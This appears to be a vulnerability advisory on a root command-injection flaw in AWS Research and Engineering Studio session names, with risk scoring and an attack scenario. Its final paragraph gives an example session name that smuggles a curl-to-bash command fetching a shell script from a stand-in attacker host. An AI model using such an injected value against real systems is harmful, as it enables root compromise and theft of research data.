AWS CVE-2026-5707

Requires authenticated access to AWS Research and Engineering Studio (RES) versions 2025.03 through 2025.12.01. Attacker must be a logged-in user capable of creating or modifying virtual desktop session names. Arbitrary command execution as root on the virtual desktop host is achieved via crafted session name input.

Real-world risk is HIGH despite no confirmed active exploitation (CISA KEV). The CVSS 8.7 score accurately reflects severe impact: network-accessible (AV:N), low complexity (AC:L), requiring only low privileges (PR:L), with complete confidentiality, integrity, and availability impact on the vulnerable component (VC:H/VI:H/VA:H). Authentication requirement moderately reduces attack surface to authenticated RES users, but many research environments have broad user bases. The low attack complexity and straightforward command injection vector make this highly automatable once weaponized. GitHub issue #151 provides technical context that could accelerate exploit development. From an SSVC perspective: exploitation status is public (technical details available), technical impact is total (root command execution), and automatability is high (command injection primitives are well-understood). The absence of EPSS data prevents probabilistic risk quantification, but the combination of high CVSS, available technical details, and root-level impact on cloud research infrastructure justifies immediate prioritization. Organizations running RES in multi-tenant or sensitive research environments face elevated risk of lateral movement and data exfiltration if exploited.

An authenticated RES user with low-privilege credentials creates a virtual desktop session with a crafted name containing shell metacharacters, such as 'ResearchVM; curl attacker.com/shell.sh | bash #'. When RES processes this session name in backend OS commands without sanitization, the injected payload executes as root on the virtual desktop host. The attacker gains root shell access, installs persistent backdoors, exfiltrates sensitive research data from mounted storage, and pivots to other virtual desktop instances or the RES control plane. The low attack complexity and network accessibility enable rapid propagation across multi-tenant research environments if credentials are compromised or insider threats exist.